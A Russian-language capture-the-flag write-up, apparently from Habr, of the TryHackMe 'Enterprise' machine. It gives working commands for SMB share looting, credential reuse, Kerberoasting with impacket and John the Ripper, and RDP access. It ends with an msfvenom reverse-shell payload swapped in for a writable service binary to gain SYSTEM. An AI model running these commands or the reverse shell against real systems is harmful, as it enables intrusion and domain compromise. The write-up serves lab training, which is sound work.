Приветствую, вас, кулхацкеры. Мы снова проходим машины на TryHackMe. На этот раз райт будет посвящен тачке под названием Enterprise.
![](https://habrastorage.org/getpro/habr/upload_files/26d/e4e/9e4/26de4e9e488f3a58c56820e0dab31935.png)
Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях
Шаг 0: Сканируем с Nmap
Как всегда начинаем со сканирования:
nmap -sC -sV -T4 -p- 10.10.227.87
![](https://habrastorage.org/getpro/habr/upload_files/bc9/265/cfc/bc9265cfcb73bd67f09c2f77340ee048.png)
![](https://habrastorage.org/getpro/habr/upload_files/e84/3d9/6ec/e843d96ecf8f6e72d055a400d6bcb4b0.png)
Заметим что на 80 порту крутится http. Попробуем зайти на веб-страницу машины:
![](https://habrastorage.org/getpro/habr/upload_files/f8e/c80/375/f8ec80375d09d01abed82344b211838a.png)
Ничего примечательного. Попробуем просканировать утилитами nikto и dirsearch:
![](https://habrastorage.org/getpro/habr/upload_files/772/ee0/0ad/772ee00ad94a4dd4ad0d2eb69643b4d2.png)
![](https://habrastorage.org/getpro/habr/upload_files/d08/80e/695/d0880e695ff9b92ce60367f0d69a5124.png)
В процессе сканирования nikto ничего не нашел. Зато dirsearch обнраужил файл robots.txt. Проверим его на наличие интересной информации:
![](https://habrastorage.org/getpro/habr/upload_files/c28/add/dce/c28adddce6ca7058c77ce2c8949ccde7.png)
Также ничего интересного.
Шаг 1: Используем smbclient
На веб странице ничего интересного найдено не было. Попробуем подключиться с хосту с помощью smbclient в поисках открытых шар.
![](https://habrastorage.org/getpro/habr/upload_files/702/31d/a8e/70231da8eb6091345e0cfb36e9526201.png)
Нас скорее всего заинтересует шара Users. Попробуем подключиться без указания пароля и имени пользователя с помощью того же smbclient:
![](https://habrastorage.org/getpro/habr/upload_files/ff4/f1d/bde/ff4f1dbde899d7c3d61eaff2189e3395.png)
Успешно! С помощью команды dir
посмотрим доступные файлы. И с помощью следующих команд выкачаем все находящиеся на ней файлы.
![](https://habrastorage.org/getpro/habr/upload_files/1e6/96d/779/1e696d779fae6fedb4766ba411e0d099.png)
recurse
-> переключает рекурсию папок для команд mget
и mput
.
Если рекурсия включена, то эти команды будут работать со всеми поддиректориями указанной папки (например, папки из которой ведется копирование) и будут рекурсивно выполнены во всех папках подходящих по маске, определенной для команды
prompt
-> переключает запрос имен файлов во время операций команд mget
и mput
. Если запрос выключен, все указанные файлы будут переданы без запроса.
mget *
-> скачивает файлы с сервера на машину
Просмотрев все директории, найдем ту, в которой будет находится файл Consolehost_hisory.txt. Просмотрим его содержимое с помощью cat
:
![](https://habrastorage.org/getpro/habr/upload_files/9fc/3f5/150/9fc3f51503561271b9c2fab65debe2a3.png)
Название и содержимое файла совпадают. Это не что иное, как история команд. Здесь для нас будут примечательны учетные данные replication:101RepAdmin123!!
Шаг 2: Используем CrackMapExec
Чтобы проверить валдиность данной учетки, воспользуемся утилитой CrackMapExec:
![](https://habrastorage.org/getpro/habr/upload_files/7c4/368/cc7/7c4368cc7200803ffedf2ccaeff299ce.png)
Как видно пройти аутентификацию у нас не вышло. Вопрос: куда двигаться дальше? Пентестер всегда должен проверять все имеющиеся у него данные. Возвращаемся к результатам сканирования и видим что на 7990 порту также висит http:
![](https://habrastorage.org/getpro/habr/upload_files/e0d/2c0/9ac/e0d2c09ac7844fc3455500cbe37c97bc.png)
Попробуем зайти на веб-страницу:
![](https://habrastorage.org/getpro/habr/upload_files/1e9/a75/6c9/1e9a756c90fc4b05b65552d120301df8.png)
И тут нас встречает страница регистрации Atlassian, на которой сказано, что Enterprise переместились на GitHub. Пойдем в гугл в поисках их страницы. Как показывает практика, сотрудники часто ставляют критические данные на GitHub.
![](https://habrastorage.org/getpro/habr/upload_files/1f5/6db/08a/1f56db08a67853b2a64cc8653e118d97.png)
![](https://habrastorage.org/getpro/habr/upload_files/24f/0f7/27c/24f0f727c5f574aee36201dc5bf928ec.png)
![](https://habrastorage.org/getpro/habr/upload_files/a3c/326/393/a3c326393f79f3cefa480f9e8bdbfdd0.png)
Наша теория подтвердилась. Пользователь оставил здесь учетные данные, которые мы сможем использовать для дальнейшего проведения атаки. Снова воспользуемся crackmapexec.
![](https://habrastorage.org/getpro/habr/upload_files/669/6fe/908/6696fe908653fbb76de28bf16835af2d.png)
Шаг 3: Проводим Kerberoasting
Аутентификация прошла успешно. А это значит, что мы можем с помощью учетных данных этого пользователя провести атаку Kerberoasting, воспользовавшись модулем GetUserSPNs утилиты Impacket:
impacket-GetUserSPNs -dc-ip 10.10.227.87 'lab.enterprise.thm/nik:ToastyBoi!' -outputfile hash.txt
![](https://habrastorage.org/getpro/habr/upload_files/444/737/c96/444737c966ab3502a04ce974e5ec98b2.png)
Дальше, получив заветный TGT, попытаемся получить пароль в открытом виде, воспользовавшись утилитой JohnTheRipper:
john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
![](https://habrastorage.org/getpro/habr/upload_files/301/4a9/2f1/3014a92f1a3bb92c76d4a31dea0a22b0.png)
Шаг 4: Подключаемся с помощью xfreerdp
Попытка подключения через Evil-WinRM не увенчалась успехом. Поэтому попробуем подключиться через протокол RDP с помощью xfreerdp:
xfreerdp /u:bitbucket /p:littleredbucket /v:10.10.227.87 /dynamic-resolution
![](https://habrastorage.org/getpro/habr/upload_files/796/d0a/0e5/796d0a0e5f5468be887365a7f491e4fb.png)
Тут же и найдем первый флаг:
![](https://habrastorage.org/getpro/habr/upload_files/10b/f03/772/10bf037725b515d6dea69ff3745ad61d.png)
Шаг 5: Повышаем привилегии
Так как у нашего пользователя нет административных прав, будем повышать привилегии. Для этого воспользуемся утилитой WinPEAS:
![](https://habrastorage.org/getpro/habr/upload_files/c48/1f4/5c3/c481f45c3b3fda8ebbbb8413c17205c1.png)
![](https://habrastorage.org/getpro/habr/upload_files/332/546/c4b/332546c4bd005ffd41f907a5a5ba8566.png)
Как видим, WinPEAS нашел директорию, в которой мы имеем право на запись и на наследование, а именно C:\Program Files (x86)\Zero Tier\ZeroTier One.exe
Что же здесь происходит и почему мы можем делать то, что собираемся делать? Итак, службы имеют двоичный путь - он указывает на исполняемый файл, который будет запущен при запуске службы. В нашем случае это ZeroTier One.exe.
Наш текущий пользователь bitbucket имеет право изменять путь и сам исполняемый файл, поскольку у нас есть привилегии "write" на расположение исполняемого файла. Разрешения - наследование (I) и доступ на запись (W).
Поэтому мы подменим исполняемый файл reverse-shell-ом и получим административный доступ.
msfvenom -p windows/x64/shell/reverse_tcp lhost=10.10.197.18 lport=3345 -f exe -o Zero.exe
![](https://habrastorage.org/getpro/habr/upload_files/b2f/001/b18/b2f001b18f1f5d451dea96bf8b86a838.png)
В Metasploit выберем exploit/multi/handler
, чтобы поймать запрос на подключение к нам.
msfconsole
use exploit/multi/handler
set lhost 10.10.197.18
set lport 3345
set payload windows/x64/shell/reverse_tcp
run
В handler мы устанавливаем те же параметры, что и при генерации нагрузки, то есть наш адрес, и порт на котором мы будем прослушивать. Также устанавливаем используемую нами полезную нагрузку. Дальше закидываем в указанную папку наш Zero.exe, запускаем наш handler командой run, запускаем в папке Powershell и прописываем следующие команды для запуска нашего шелла:
Stop-Service -name zerotieroneservice
Start-Service -name zerotieroneservice
![](https://habrastorage.org/getpro/habr/upload_files/15d/cb0/e0a/15dcb0e0a4f85082b11db167bef4f178.png)
В результате получает шелл от system. Далее переходим в директорию администратора и получаем его флаг:
![](https://habrastorage.org/getpro/habr/upload_files/b24/225/8c1/b242258c1ee90e22b6289c8764f93f05.png)